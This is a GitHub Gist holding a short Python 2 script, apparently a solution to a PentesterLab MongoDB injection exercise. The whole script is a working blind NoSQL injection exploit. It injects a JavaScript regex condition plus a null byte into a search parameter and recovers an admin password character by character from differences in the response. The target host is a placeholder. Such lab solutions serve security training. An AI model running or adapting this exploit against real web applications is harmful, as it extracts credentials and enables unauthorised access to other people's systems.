Created
September 17, 2019 23:21
-
-
Save marcosValle/d39096375d19601de47d0a01285e6187 to your computer and use it in GitHub Desktop.
PentesterLab Essential Badge: MongoDB Injection 02
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from string import digits | |
password = "" | |
for i in 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX': | |
for l in '-abcdef'+digits: | |
print 'Trying ' + password + l | |
url = "http://[CHANGE ME]/?search=admin' %26%26 this.password.match(/^"+password+l+".*$/)%00" | |
print url | |
r = requests.get(url) | |
if ">admin<" in r.text: | |
print 'OK!' | |
password += l | |
print password |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment